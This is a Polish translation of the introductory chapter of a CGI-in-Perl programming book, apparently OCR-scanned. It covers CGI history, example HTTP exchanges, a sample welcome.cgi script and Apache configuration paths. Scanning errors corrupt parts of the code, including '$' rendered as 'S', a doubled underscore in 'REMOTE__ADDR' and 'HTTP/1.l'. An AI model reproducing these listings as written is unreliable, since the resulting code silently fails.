Programowanie CGI w Perlu
Scott Guelich, Shirshir Gundavaram, Gunther Birznieks
Programowanie CGI w Perlu
1
Programowanie CGI w Perlu
2
Rozdział 1 Pierwsze kroki Podobnie jak cały Internet, CGI, czyli Common Gateway Interface, przebył długą drogę w bardzo krótkim czasie. Zaledwie parę lat temu skrypty CGI były nie więcej niż gadżetem i nie znajdowały szerszego zastosowania; służyły do obsługi liczników odwiedzin oraz prowadzenia książek gości, a przy tym pisali je głównie hobbiści. Obecnie skrypty CGI, pisane przez profesjonalnych twórców środowisk webowych, wyposażają w logikę, tchnącą życie w niezwykle rozległą strukturę, jaką stał się Internet.
Historia Internet nie jest nowością, choć dopiero obecnie poświęca mu się dużo uwagi. W rzeczywistości sieć będąca poprzedniczką dzisiejszego Internetu swymi korzeniami sięga trzydziestu lat wstecz. Internet narodził się jako ARPAnet - sieć założona przez Departament Obrony Stanów Zjednoczonych w celu prowadzenia badań nad sieciami komputerowymi. Przez pierwsze 25 lat Internet rozrastał się stopniowo, aż w końcu nastąpił jego zdumiewający rozkwit. Na Internet zawsze składały się rozmaite protokoły wymiany informacji, lecz pojawienie się przeglądarek Web, takich jak NCSA Mosaic, a później Netscape Naviga-tor, dało impuls do wręcz skokowego rozrostu. W ciągu ostatnich sześciu lat liczba hostów wzrosła od mniej niż tysiąca do ponad dziesięciu milionów. Obecnie Internet najczęściej kojarzony jest z siecią Web. Inne protokoły, na przykład obsługujące pocztę elektroniczną (ang. e-mail), FTP, pogawędki (ang. chat) i grupy dyskusyjne (ang. newsgroups), niewątpliwie stale się cieszą popularnością, jednak pierwsze miejsce zajmuje Web, gdyż coraz więcej ludzi korzysta z serwisów webowych jako bram, przez które sięgają do pozostałych, wcześniej wymienionych usług. Sieć Web była bez wątpienia pierwszym rozwiązaniem technicznym umożliwiającym publikowanie i wymianę informacji, jednak w sieci Web było coś jeszcze, co wyzwoliło jej prawdziwą eksplozję. Pragnęlibyśmy powiedzieć, że to interfejs CGI był jedynym czynnikiem, który we wczesnym okresie przyczynił się do tego, że sieć Web swym zasięgiem przerosła takie protokoły, jak FTP i Gopher. Nie byłaby to jednak prawda. Prawdopodobnie faktyczną przyczyną zdobycia przez Web popularności była towarzysząca jej grafika. Sieć Web opracowano pod kątem prezentowania różnorodnych nośników informacji: niemal od samego początku przeglądarki obsługiwały śródtekstowe obrazki, a HTML pozwalał na elementarne kształtowanie układu strony, co ułatwiło prezentację i odbiór informacji. Możliwości wciąż się zwiększały w miarę jak Netscape rozbudowywał obsługę o nowe rozszerzenia języka HTML wraz z każdą kolejną wersją przeglądarki. Dlatego początkowo sieć Web przybrała postać zbioru osobistych stron interneto-wych oraz garstki serwisów Web oferujących całą gamę rozmaitych informacji. Niemniej nikt nie miał tak naprawdę pomysłu, jak te zasoby wykorzystać, zwłaszcza komercyjnie. W 1995 roku w firmach zazwyczaj słyszało się: „O, tak! Internet to znakomita rzecz, ale mało komu udało się za jego pośrednictwem coś zarobić". Jakże szybko świat się zmienia. Zastosowanie CGI dzisiaj Wystartował handel elektroniczny (ang. e-commerce) i wszędzie można spotkać firmy z .com w adresie internetowym (tzw. dot-comy, ang. dot-coms). Niektóre rozwiązania techniczne stały się fundamentem tego postępu, a CGI jest z pewnością jednym z najważniejszych. CGI sprawia, że sieć Web nie musi być zbiorem wyłącznie statycznych zasobów, lecz może faktycznie działać. Zasoby statyczne to takie, które pozostają w stanie
Programowanie CGI w Perlu
3
niezmienionym przy kolejnych żądaniach, na przykład pliki HTML lub grafika. Natomiast zasoby dynamiczne zawierają informacje, które przy każdym żądaniu mogą ulegać zmianom w zależności do warunków, na przykład zmiany w źródle danych (np. bazy danych), tożsamość użytkownika lub wprowadzane przez niego informacje. Dzięki temu, że CGI umożliwia tworzenie dynamicznych treści, serwery Web mogą dostarczać aplikacji sieciowych, dostępnych dla użytkowników na całym świecie, posługujących się różnorodnymi platformami, za pośrednictwem standardowego programu-klienta, czyli przeglądarki Web. Trudno wyliczyć wszystkie możliwości interfejsu CGI, ponieważ lista byłaby bardzo długa. Gdy przeszukujemy serwis Web, wyszukiwaniem prawdopodobnie zajmuje się aplikacja CGI. Gdy w serwisie Web wypełniamy formularz rejestracyjny, przetwarzaniem podanej informacji prawdopodobnie zajmie się aplikacja CGI. Gdy robimy internetowe zakupy, zatwierdzeniem karty kredytowej i rejestracją transakcji prawdopodobnie zajmuje się aplikacja CGI. Gdy w sieci oglądamy wykres, na którym w sposób dynamiczny przedstawiane są informacje w formie graficznej, prawdopodobnie został on utworzony przez aplikację CGI. Oczywiście, przez kilka ostatnich lat pojawiły się inne rozwiązania techniczne zdolne obsłużyć wymienione przed chwilą dynamiczne funkcje; niektórym z nich wkrótce przyjrzymy się bliżej. Mimo to do takich realizacji nadal najczęściej wykorzystywany jest CGI.
Wprowadzenie do CGI Wielkie możliwości CGI wynikają z jego prostoty. CGI jest interfejsem wagi lekkiej - stanowi minimum, które serwer Web powinien zapewniać, aby zewnętrzne procesy mogły tworzyć strony Web. Kiedy serwer Web otrzymuje żądanie statycznej strony Web, zwykle wyszukuje odpowiedni plik HTML w systemie plików. Gdy serwer Web otrzymuje żądanie skryptu CGI, serwer ten wykonuje skrypt CGI jako kolejny proces (tj. osobną aplikację); serwer przekazuje do procesu pewne parametry, a na jego wyjściu odbiera dane, które następnie zwraca programowi-klientowi w takiej postaci, jak gdyby pochodziły z pliku statycznego (zob. rysunek 1.1). Jak zatem działa cały interfejs? Pozostałą część książki poświęcimy szczegółowej odpowiedzi na to pytanie, najpierw jednak zapoznajmy się z podstawami. Żądania zasobów dynamicznych, w tym skryptów CGI, zgłaszane przez przeglądarki Web nie różnią się od żądań jakichkolwiek innych zasobów w sieci Web: przeglądarki wysyłają wiadomość sformatowaną zgodnie z protokołem transferu hipertekstu, czyli HTTP (Hypertext Transfer Protocol). Protokół HTTP omawiamy w rozdziale 2. Żądanie HTTP zawiera uniwersalny lokator zasobów, czyli URL (Unłuersal Resource Locator). Serwer Web na podstawie URL-a ustala, który zasób ma zwrócić. Zazwyczaj skrypty CGI znajdują się w jednym katalogu, na przykład /cgi, lub mają jednakowe rozszerzenie nazwy pliku, na przykład .cgi. Jeśli serwer Web rozpozna, że żądanie dotyczy skryptu CGI, wykona skrypt. Powiedzmy, że chcielibyśmy zajrzeć pod URL http://www.mechanicymirka.com/cgi/ welcome.cgi. Najprostszy z możliwych przykład 1.1 przedstawia żądanie HTTP, które może zostać wysłane przez przeglądarkę Web. Przykład 1.1. Przykładowe żądanie HTTP GET /cgi/welcome.cgi HTTP/1.l Host: www.mechanicymirka.com W przedstawionym żądaniu pobrania, GET, zasób do pobrania identyfikowany jest jako /cgi/welcome.cgi. Gdy założymy, że nasz serwer wszystkie pliki w drzewie katalogu /cgi uznaje za skrypty CGI, wtedy automatycznie wykona skrypt welcome.cgi, zamiast zwrócić jego zawartość bezpośrednio do przeglądarki. Programy CGI pobierają dane wejściowe ze standardowego wejścia (STDIN) oraz ze zmiennych środowiska. Zmienne te zawierają na przykład informacje o tożsamości zdalnego hosta i użytkownika, wartości elementów wysłane z formularza (jeśli w ogóle zostały podane) itd. Przechowywane są w nich również: nazwa serwera, protokół komunikacyjny oraz nazwa oprogramowania, na którym oparte jest działanie serwera. Każdemu z tych elementów przyjrzymy się bliżej w rozdziale 3, „CGI — wspólny interfejs bramy". Kiedy program CGI zacznie działać, wysyła swoje dane wyjściowe z powrotem do serwera Web poprzez standardowe wyjście (STDOUT). Zrobienie tego w Perlu jest łatwe, ponieważ domyślnie wszystko, co jest drukowane*, kierowane jest do STDOUT. Skrypty CGI mogą generować własne dane wyjściowe i zwracać je w postaci nowego dokumentu, lecz mogą też dostarczyć kolejny URL, do którego żądanie zostanie przekazane. Wskazówką dla serwera Web jest specjalny wiersz sformatowany jako nagłówek HTTP, który drukują skrypty CGI. Nagłówkom tym przyjrzymy się w następnym rozdziale, mimo to tutaj podajemy przykład tego, co skrypt CGI zwracający HTML mógłby podać na wyjście: Content-type: text/html Skrypty CGI mogą też zwracać jeszcze inne wiersze nagłówkowe, dlatego skrypt CGI, aby zasygnalizować, że zakończył wysyłanie nagłówków, drukuje pusty wiersz. Na koniec, jeśli na wyjście przekazywany jest dokument, drukowana jest także zawartość dokumentu. Serwer Web przyjmuje produkt wyjściowy skryptu CGI i dodaje własne nagłówki HTTP przed odesłaniem go do przeglądarki użytkownika, który wystosował żądanie. Przykład 1.2 przedstawia odpowiedź, jaką przeglądarka Web mogłaby otrzymać od serwera Web. Przykład 1.2. Przykładowa odpowiedź HTTP HTTP/1.l 200 OK Date: Sat, 18 Mar 2000 20:35:35 GMT Server: Apache/1.3.9 (Unix) Last-Modified: Wed, 20 May 1998 14:59:42 GMT ETag: "74916-656-3562efde" Content-Length: 2000
Programowanie CGI w Perlu
4
Content-Type: text/html <HTML> <HEAD> <TITLE>Zapraszamy do bazy danych Mechaników Mike'a</TITLE> </HEAD> <BODY BGCOLOR="łffffff"> <IMG SRC="/images/mike.jpg" ALT="Mechanicy Mike'a"> <P>Witamy w serwisie dyn34.my-isp.net! Co tu można znaleźć? Listę mechaników z całego kraju oraz rodzaj oferowanych przez nich usług — stworzoną na podstawie uwag i propozycji użytkowników.</P> <P>Na co czekasz? Kliknij <A HREF="/cgi/lista.cgi">tutaj</A>, aby przejrzeć listę.</P> <HR> <P>Bieżące wskazanie czasu według serwera: Sat Mar 18 10:28:00 2000.</P> <P>Jeśli natrafisz na jakieś problemy w naszym serwisie lub zechcesz zgłosić nam swoje propozycje, napisz do nas na adres elektroniczny <A HREF="mailto:webmaster@mechanicymikea.com"> webmaster@mechanicymikea.com</A>. </BODY> </HTML> W nagłówku podawany jest protokół komunikacyjny, data i godzina odpowiedzi, nazwa i wersja serwera, data i godzina ostatniej modyfikacji dokumentu, znacznik jednostki wykorzystywany przy buforowaniu, długość odpowiedzi oraz typ nośnika dokumentu - w przytoczonym przykładzie jest to dokument tekstowy z formatowaniem HTML. Takie nagłówki włączane są do wszystkich odpowiedzi zwracanych przez serwery Web. Nagłówkom HTTP przyjrzymy się bliżej w następnym rozdziale. Jednak już teraz zapamiętajmy, że nie ma tu niczego, co by umożliwiało odróżnienie w przeglądarce, czy odpowiedź ta oparta jest na statycznym pliku HTML, czy też została wygenerowana dynamicznie przez skrypt CGI. Jest tak, jak być powinno: przeglądarka zwróciła się do serwera Web o zasób i otrzymała zasób. Nie jest dla niej ważne, skąd pochodzi dokument ani jak go serwer wygenerował. CGI umożliwia generowanie danych wyjściowych, które z punktu widzenia końcowego użytkownika nie różnią się od innych odpowiedzi w sieci Web. Dzięki tej elastyczności za pomocą skryptu CGI możliwe jest wygenerowanie wszystkiego, co serwer Web mógłby pobrać bezpośrednio z plików, włącznie z dokumentami HTML, zwykłymi dokumentami tekstowymi, plikami PDF, a nawet grafiką w formatach PNG lub GIF. Sposobami tworzenia dynamicznej grafiki zajmiemy się w rozdziale 13, „Tworzenie grafiki w sposób dynamiczny". Przykładowa aplikacja CGl Przyjrzyjmy się przykładowej aplikacji CGI napisanej w Perlu, tworzącej dynamiczne dane wyjściowe przedstawione przed chwilą w przykładzie 1.2. Program ten (przykład l .3) ustala, skąd się użytkownik łączy, a następnie tworzy prosty dokument HTML zawierający tę informację oraz wskazanie bieżącego czasu. W następnych kilku rozdziałach zobaczymy, jak posługując się różnymi modułami CGI jeszcze bardziej ułatwić sobie tworzenie takich aplikaq'i. Tymczasem podejdźmy do zagadnienia w sposób jak najprostszy. Przykład 1.3. welcome.cgi #!/usr/bin/perl -wT use strict; my $czas = localtime; my $zdalny_id = $ENV{REMOTE_HOST} || $ENV{REMOTE__ADDR}; my $email_admina = $ENV{SERVER_ADMIN}; print "Content-type: text/html\n\n"; print <<KONIEC_STRONY; <HTML> <HEAD> <TITLE>Zapraszamy do bazy danych Mechaników Mikę'a</TITLE> </HEAD> <BODY BGCOLOR="#ffffff"> <IMG SRC="/images/mike.jpg" ALT="Mechanicy Mike’a“> <P>Witamy w serwisie Szdalny_id! Co tu można znaleźć? Listę mechaników z całego kraju oraz rodzaj oferowanych przez nich usług — stworzoną na podstawie uwag i propozycji użytkowników.</P> <P>Na co czekasz? Kliknij <A HREF="/cgi/lista.cgi">tutaj</A>, aby przejrzeć listę.</P> <HR> <P>Bieżące wskazanie czasu według serwera: $czas.</P> <P>Jeśli natrafisz na jakieś problemy w naszym serwisie lub zechcesz zgłosić nam swoje propozycje, napisz do nas na adres elektroniczny <A HREF="mailto:$email_admina">Semail_admina</A>.</P> </BODY> </HTML> KONIEC_STRONY Powyższy program jest bardzo prosty. Zawiera tylko sześć poleceń, chociaż ostatnie składa się z wielu wierszy. Przeanalizujmy jego działanie. Ponieważ jest to nasz pierwszy skrypt, a przy tym krótki, przyjrzymy się mu linijka po linijce, choć, o czym wspomnieliśmy w „Przedmowie", zakładamy, że czytelnik jest z Perlem obeznany. Jeżeli więc wiedza o Perlu nie jest zbyt duża lub wymaga odkurzenia, przydać się może jakieś kompendium dotyczące tego języka, które na wszelki wypadek byłoby pod ręką podczas czytania tej książki.
Programowanie CGI w Perlu
5
Polecamy Perl - programowanie - wydanie drugie Larry'ego Walia, Toma Christiansena i Jona Orwanta (Wydawnictwo RM). Księga ta dotyczy nie tylko standardowego Perla, lecz zawiera również opis wbudowanych funkcji tego języka w wygodnym układzie alfabetycznym. Pierwszy wiersz programu wygląda tak, jak początek większości skryptów w Perlu. Informuje serwer, aby do interpretacji i wykonania skryptu użył programu znajdującego się w katalogu /usr/bin/perl. Odcyfrowywanie znaczników może sprawiać problemy: znaczniki -wT nakazują Perłowi włączyć ostrzeżenia oraz sprawdzanie w trybie kontroli skażeń. Ostrzeżenia pomagają przy ustalaniu miejsca trudno dostrzegalnych problemów nie mających charakteru błędów składniowych; włączenie ich nie jest konieczne, niemniej są one bardzo pożyteczne. Sprawdzanie w trybie kontroli skażeń nie powinno być traktowane jako fakultatywne: funkcję tę należy włączać we wszystkich skryptach CGI, chyba że ktoś lubi ryzyko. Ten rodzaj sprawdzania omawiamy w rozdziale 8, „Bezpieczeństwo". Polecenie use strict nakazuje Perłowi włączenie ścisłych reguł w odniesieniu do zmiennych, procedur i referencji. Gdy ktoś dotąd nie stosował tego polecenia, powinien wypracować w sobie nawyk umieszczania go we wszystkich skryptach CGI. Tak jak ostrzeżenia, pomaga w znalezieniu drobnych pomyłek, na przykład literówek, które w innym wypadku mogłyby nie zostać zasygnalizowane jako błąd składniowy. Co więcej, pragma strict wykształca dobry zwyczaj programistyczny, wymuszając deklarowanie zmiennych i redukowanie liczby zmiennych globalnych. Dzięki temu łatwiej jest zapanować nad powstałym kodem. Na koniec, co zobaczymy w rozdziale 17, „Efektywność i optymalizacja", pragma strict jest bezwzględnie wymagana przez FastCGI oraz mod_perl. Przewidując migrację do któregoś z tych rozwiązań, od samego początku należy używać pragmy strict. Teraz przejdziemy do rzeczy naprawdę istotnych. Najpierw ustanawiamy trzy zmienne. Pierwszej z nich, $czas, przypisujemy łańcuch reprezentujący bieżące datę i godzinę. Drugiej, $zdalny_id, przypisujemy identyfikator zdalnej maszyny zgłaszającej żądanie tej właśnie strony. Odpowiednie informacje uzyskujemy ze zmiennych środowiska REMOTE_HOST lub REMOTE_ADDR. Jak już wcześniej wspomnieliśmy, skrypty CGI wszystkie informacje z serwera Web uzyskują ze zmiennych środowiska oraz STDIN. REMOTE _HOST zawiera pełną nazwę domeny maszyny zdalnej, ale tylko wtedy, gdy zwrotne wyszukanie nazwy domeny zostało udostępnione serwerowi Web - w przeciwnym razie zmienna jest pusta. W takiej sytuacji korzystamy ze zmiennej REMOTE_ADDR, zawierającej adres IP maszyny zdalnej. Ostatniej zmiennej, $email_admina, przypisujemy zmienną SERVER_ADMIN, która zawiera adres poczty elektronicznej administratora serwera zgodny z podanym w plikach konfiguracyjnych serwera. Skrypty CGI mają dostęp do niewielu zmiennych środowiskowych. Wymienionym trzem i pozostałym przyjrzymy się bliżej w rozdziale 3, „CGI - wspólny interfejs bramy". Wiemy już, że jeśli skrypt CGI ma zwrócić nowy dokument, najpierw musi przekazać na wyjście nagłówek HTTP deklarujący typ zwracanego dokumentu. Robi to, po czym drukuje dodatkowy pusty wiersz, który sygnalizuje, że zakończone zostało wysyłanie nagłówków. Następnie drukuje zasadniczą część dokumentu. Zamiast używać instrukcji print osobno do każdego wiersza wysyłanego na wyjście standardowe, korzystamy z dokumentu „tutejszego", dzięki czemu możliwe jest wydrukowanie naraz całego bloku tekstu. Jest to standardowa właściwość Perla, która wydaje się być nieco ezoteryczna; mogą jej nie znać osoby, które nie zajmowały się dotąd jakimkolwiek oprogramowywaniem powłok. Polecenie to nakazuje Perłowi wydrukowanie wszystkich następnych wierszy, aż do napotkania w osobnym wierszu etykiety końca bloku (w tym wypadku jest to KONIEC_STRONY). Wiersze te traktuje jak tekst ujęty w znaki podwójnego cudzysłowu, a więc zmienne są wyliczane, przy czym podwójne cudzysłowy nie muszą być maskowane przed interpretacją. Dokumenty „tutejsze" nie tylko oszczędzają nam dodatkowego pisania, lecz również poprawiają czytelność programu. Jest jednak jeszcze lepszy sposób na generowanie HTML-a, co pokażemy w rozdziale 5, „CGI.pm", oraz w rozdziale 6, „Szablony HTML". To już cały skrypt, więc w tym momencie kończy się jego działanie; serwer Web dodaje dodatkowe nagłówki HTTP i zwraca do klienta odpowiedź przedstawioną w przykładzie 1.2. Był to zaledwie prosty przykład skryptu CGI, więc niech nas nie zaprzątają pytania lub wątpliwości co do niektórych szczegółów. Właśnie im poświęcamy resztę książki, o czym świadczą liczne odniesienia do dalszych rozdziałów. Wywoływanie skryptów CGI Skrypty CGI mają własne URL-e, tak jak dokumenty HTML i inne zasoby w sieci Web. Serwer jest zwykle skonfigurowany tak, że określony katalog wirtualny (katalog zawarty w URL-u) wskazuje katalog skryptów CGI, na przykład /cgi-bin, /cgi, /scripts itp. Zarówno położenie skryptów CGI w systemie plików serwera, jak i odpowiadającą mu ścieżkę URL zazwyczaj można zmienić na inne, modyfikując konfigurację serwera. Jak to zrobić w wypadku webowego serwera Apache, zobaczymy nieco dalej, w podrozdziale „Konfigurowanie skryptów CGI". W Uniksie system plików rozróżnia pliki, które są wykonywalne, i takie, które nie są. Skrypty CGI muszą mieć atrybut wykonywalności. Założywszy, że mamy plik Perla o nazwie pewien_skrypt.cgi, stanie się on wykonywalny, gdy z poziomu powłoki wydamy następujące polecenie: chmod 0755 pewien_skrypt.cgi Problemy często są skutkiem zapominania o tej czynności. W innych systemach operacyjnych, aby uruchomienie skryptu było możliwe, mogą być konieczne inne ustawienia. Należy wówczas skorzystać z dokumentacji danego serwera Web.
Alternatywne rozwiązania techniczne Niniejsza książka, zgodnie z tym, co sugeruje jej tytuł, koncentruje się na programach CGI napisanych w Perlu. Ponieważ Perl i CGI tak często są stosowane razem, niektórzy mają trudności z ich odróżnieniem. Perl jest językiem programowania, natomiast CGI jest interfejsem, który służy programowi do obsługi żądań zgłaszanych
Programowanie CGI w Perlu
6
przez serwer Web. Oprócz Perla i CGI istnieją rozwiązania alternatywne: obok CGI pojawiły się nowe możliwości obsługi żądań dynamicznych, a aplikacje CGI można pisać w rozmaitych językach. Dlaczego Perl? Chociaż aplikacje CGI można pisać niemal w dowolnym języku, dla wielu programistów Perl i CGI stały się synonimami. Często cytuje się wypowiedź Hassana Schroedera, pierwszego webmastera firmy Sun: „Perl jest klejonką krawiecką In-ternetu". Perl, jak dotąd, jest najszerzej stosowanym językiem programowania CGI, a to z wielu powodów: • Perla łatwo się nauczyć, ponieważ przypomina inne popularne języki (na przykład C), ponieważ jest „wyrozumiały" oraz dlatego, że kiedy wystąpi błąd, podaje konkretne i szczegółowe komunikaty, pomagające szybko zlokalizować problem. • Perl umożliwia bardzo szybkie tworzenie skryptów, ponieważ jest interpretowany - kod źródłowy nie musi być kompilowany przed wykonaniem. • Perl jest łatwo przenośny i dostępny na wielu platformach. • Perl oferuje niezwykle efektywne operatory do manipulacji na łańcuchach, a także wbudowane mechanizmy dopasowywania i podstawiania oparte na wyrażeniach regularnych. • Perl umożliwia obsługę i manipulacje na danych binarnych w tak samo prosty sposób, jak na danych tekstowych. • Perl nie wymaga ścisłego deklarowania typów; liczby, łańcuchy i wartości bo-olowskie są prostymi skalarami. • Perl komunikuje się z zewnętrznymi aplikacjami bardzo łatwo i wyposażony jest we własne funkcje obsługi plików. • W sieci CPAN są dostępne niezliczone moduły Perla o otwartym kodzie źródłowym, od modułów do tworzenia dynamicznej grafiki po komunikację z serwerami internetowymi i mechanizmami baz danych. Więcej informacji na temat CPAN-u zamieszczamy w dodatku B, „Moduły Perla". Co więcej, Perl jest szybki. Perl nie jest językiem interpretowanym w ścisłym tego słowa znaczeniu. Gdy Perl odczytuje plik źródłowy, w rzeczywistości kompiluje źródło do postaci niskopoziomowych opkodów, które następnie wykonuje. W Perlu kompilacja i wykonanie zasadniczo nie są traktowane jako osobne etapy, ponieważ zazwyczaj występują razem: Perl się uruchamia, odczytuje plik źródłowy, kompiluje go, realizuje, po czym kończy działanie. Proces ten powtarza się przy każdym wykonaniu skryptu Perla, w tym przy każdym wykonaniu skryptu CGI. Jednak dzięki efektywności Perla proces ten przebiega na tyle szybko, by obsłużyć żądania pojawiające się we wszystkich serwisach webowych, z wyjątkiem tych o największym natężeniu ruchu internetowego. Warto zwrócić uwagę, że jest o wiele mniej wydajny w systemach Windows niż w systemach uniksowych ze względu na dodatkowy narzut stwarzany przez nowo powstające procesy, wymagane w systemach Windows. Rozwiązania alternatywne w stosunku do CGI W ostatnich latach pojawiło się kilka alternatywnych rozwiązań w stosunku do CGI. Wszystkie dziedziczą swe cechy po CGI, oferując odmienne podejście do realizacji tych samych zasadniczych celów, którymi są: odpowiadanie na zapytania i prezentowanie dynamicznych materiałów za pośrednictwem HTTP. W większości z nich starano się uniknąć głównej wady skryptów CGI: tworzenia osobnych procesów za każdym razem, gdy zgłaszane jest żądanie wykonania skryptu. W innych z kolei próbuje się zredukować podział na strony HTML i kod, przenosząc kod wprost do stron HTML. Omówieniem założeń teoretycznych, kryjących się za tym podejściem, zajmiemy się w rozdziale 6, „Szablony HTML". A oto lista niektórych alternatywnych rozwiązań: ASP Aktywne strony serwerowe, czyli ASP (Actłue Server Pages), powstały w Micro-sofcie w celu obsługi serwerów Web tej firmy, lecz obecnie dostępne są dla wielu serwerów. Mechanizm ASP jest zintegrowany z serwerem Web, więc nie wymaga dodatkowych procesów. Dzięki niemu programiści, zamiast pisać osobne programy, mogą włączać kod wprost do stron HTML. W rozdziale 6 zobaczymy, że istnieją moduły, które dają nam taką samą możliwość w wypadku CGI. ASP obsługują kilka języków. Najpopularniejszym z nich jest Yisual Basic, lecz Java-Script także jest obsługiwany. Ponadto ActiveState oferuje wersję Perla, której można używać również w systemie Windows w powiązaniu z ASP. Istnieje także moduł Perla o nazwie Apache::ASP, który wraz z mod_perl obsługuje strony ASP. PHP PHP to język programowania podobny do Perla, a jego interpreter jest osadzony wewnątrz serwera Web. PHP obsługuje kod osadzony w stronach HTML. PHP jest obsługiwany przez webowy serwer Apache. ColdFusion W ColdFusion firmy Allaire podział na strony kodu i strony HTML jest większy niż w PHP. W stronach HTML można umieścić dodatkowe znaczniki, wywołujące funkcje ColdFusion. Na ColdFusion składa się pewna liczba funkcji standardowych, projektanci zaś mogą tworzyć własne elementy jako rozszerzenia. ColdFusion pierwotnie napisano pod Windows, lecz obecnie dostępne są także wersje na rozmaite platformy uniksowe. Serwlety Javy Twórcą serwletów Javy jest firma Sun. Serwlety są podobne do skryptów CGI pod tym względem, że składa się na nie kod, który służy do tworzenia dokumentów. Jednak serwlety, ponieważ oparte są na Javie, przed uruchomieniem muszą być skompilowane jako klasy; serwer Web dynamicznie załadowuje serwlety jako klasy, gdy są one uruchamiane. Interfejs jest dość odmienny od znanego z CGI. JSP, czyli strony JavaServera (JavaServer Pages), to kolejne rozwiązanie, które daje projektantom możliwość osadzania Javy w stronach Web, podobnie do ASP.
Programowanie CGI w Perlu
7
FastCGI FastCGI obsługuje jedną lub kilka instancji perl, które przez cały czas działają wraz z interfejsem, co umożliwia przekazywanie żądań dynamicznych z serwera Web do tych instancji. Uniknięto tu największej wady CGI, którą jest tworzenie nowego procesu dla każdego żądania, zachowując przy tym wysoką zgodność z CGI. FastCGI jest dostępny w wersjach na różne serwery Web. FastCGI omówimy dalej w rozdziale 17, „Efektywność i optymalizacja". Mod_perl Mod_perl jest modułem przeznaczonym dla webowego serwera Apache. Także i to rozwiązanie pozwala uniknąć tworzenia osobnych instancji perl dla każdego CGI. Zamiast obsługiwać osobne instancje perl, jak FastCGI, mod_perl osadza interpreter perl wewnątrz serwera Web. Poprawia to wydajność, a równocześnie zapewnia kodowi w Perlu napisanemu pod kątem modułu mod_perl dostęp do wewnętrznych mechanizmów Apache. mod_perl omówimy szerzej w rozdziale 17. Pomimo mnogości konkurencyjnych rozwiązań technicznych, CGI nadal stanowi najpopularniejszą metodę dostarczania dynamicznych stron, i wbrew temu, co niekiedy głosi literatura promująca niektórych rywali, CGI jeszcze długo nie zejdzie z areny. Gdybyśmy nawet spodziewali się, że od początku będziemy się zajmować innymi rozwiązaniami, poznanie CGI okazuje się cenną inwestycją. Ponieważ CGI jest tak wąskim interfejsem, poprzez jego naukę można poznać, jak transakcje Web działają na niskim poziomie, co z kolei pozwala pogłębić zrozumienie innych rozwiązań technicznych zbudowanych na tych samych podstawach. Ponadto CGI jest uniwersalny. Wiele rozwiązań alternatywnych, aby można z nich było skorzystać, wymaga oprócz serwera Web zainstalowania określonego zestawienia rozwiązań technicznych. CGI jest obsługiwany praktycznie przez każdy serwer Web bez dodatkowych zabiegów i nie wydaje się, aby pod tym względem coś się zmieniło w przyszłości.
Konfigurowanie serwera Web Zanim będzie można uruchomić programy CGI na danym serwerze, najpierw należy zmodyfikować niektóre parametry w plikach konfiguracyjnych serwera. Przykłady prezentowane w całej książce bazują na webowym serwerze Apache zainstalowanym na platformie uniksowej. Apache jest, jak dotąd, najpopularniejszym serwerem Web, a ponadto jego kod źródłowy jest w postaci otwartej, sam zaś Apache jest dostępny bezpłatnie. Apache wywodzi się z webowego serwera NCSA, więc pod względem szczegółów konfiguracji w znacznym stopniu przypomina inne serwery Web, które także wywodzą się z serwera NCSA, na przykład sprzedawane przez iPlanet (poprzednio Netscape). Zakładamy również, że czytelnik dysponuje dostępem do działającego serwera Web, więc nie będziemy się tu zajmować instalowaniem i wstępnym konfigurowa-niem Apache. To dość obszerne omówienie zdecydowanie przekroczyłoby przewidzianą objętość niniejszej książki. Odpowiednie informacje są dostępne w innej znakomitej książce Bena i Petera Laurie Apache: The Definitive Guide (O'Reilly & Associates, Inc.). Apache nie zawsze instalowany jest w tym samym miejscu we wszystkich systemach. W książce będziemy się posługiwać domyślnie przyjmowaną ścieżką instalacyjną, według której wszystko jest lokalizowane poniżej /usr/local/apache. Podkatalogi serwera Apache są następujące: $ cd /usr/local/apache $ ls -F bin/ cgi-bin/ conf/ htdocs/ icons/ include/ libexec/ logs/ man/ proxy/ W konkretnym wypadku - w zależności od tego, jak Apache został skonfigurowany podczas instalacji pewnych katalogów może nie być, na przykład libexec lub proxy; jest to rzecz normalna. W niektórych popularnych pakietach Uniksa i zgodnych z Uniksem, obejmujących serwer Apache (jak np. niektóre pakiety Linuksa), powyższe podkatalogi mogą być rozsiane po systemie. Na przykład w RedHat Linuk-sie dokonywane są zmiany w odwzorowaniu podkatalogów, które przedstawia tabela 1.1. Tabela 1.1. Zamienne ścieżki do ważnych katalogów serwera Apache Domyślna ścieżka instalacyjna Ścieżka zamienna (RedHat Linux) /usr/local/apache/cgi-bin /home/httpd/cgi-bin /usr/local/apache/htdocs /home/httpd/html /usr/local/apache/conf /etc/httpd/conf /usr/local/apache/logs /var/log/httpd W takiej sytuacji konieczne będzie dostosowanie zamieszczonych przez nas in-strukq'i do ścieżek danego systemu. Jeżeli wiadomo, że Apache jest zainstalowany w systemie, lecz jego katalogów nie ma w żadnej z wymienionych lokalizacji, to, aby ustalić ich położenie, należy skontaktować się z administratorem systemu lub zajrzeć do dokumentacji systemu. Konfigurowanie serwera Apache polega na modyfikowaniu plików znajdujących się w katalogu conf. Pliki te zawierają dyrektywy, które Apache odczytuje, gdy się uruchamia. W starszych wersjach Apache posługiwano się trzema plikami: httpd.conf, srm.conf oraz access.conf. Użycie dwóch ostatnich nigdy jednak nie było konieczne, więc w najnowszych pakietach Apache wszystkie dyrektywy umieszczane są w httpd.conf. Dzięki temu nadzór nad całą konfiguracją skupiony jest w jednym miejscu i nie zmusza nas do przeskakiwania między plikami. W ten sposób unika się sytuacji, w której konfiguracje w różnych plikach nie są ze sobą zgodne, co mogłoby stworzyć zagrożenie dla bezpieczeństwa systemu. W wielu miejscach nadal korzysta się ze wszystkich trzech plików konfiguracyj-nych, lecz chyba tylko dlatego, że nikomu nie chciało się ich połączyć w jeden. Z tego powodu tu, jak i w całej książce, gdziekolwiek omawiamy konfigurację Apache, podajemy nazwę alternatywnego pliku, do którego trzeba by wprowadzić zmiany, gdyby w danym przypadku używane były trzy pliki.
Programowanie CGI w Perlu
8
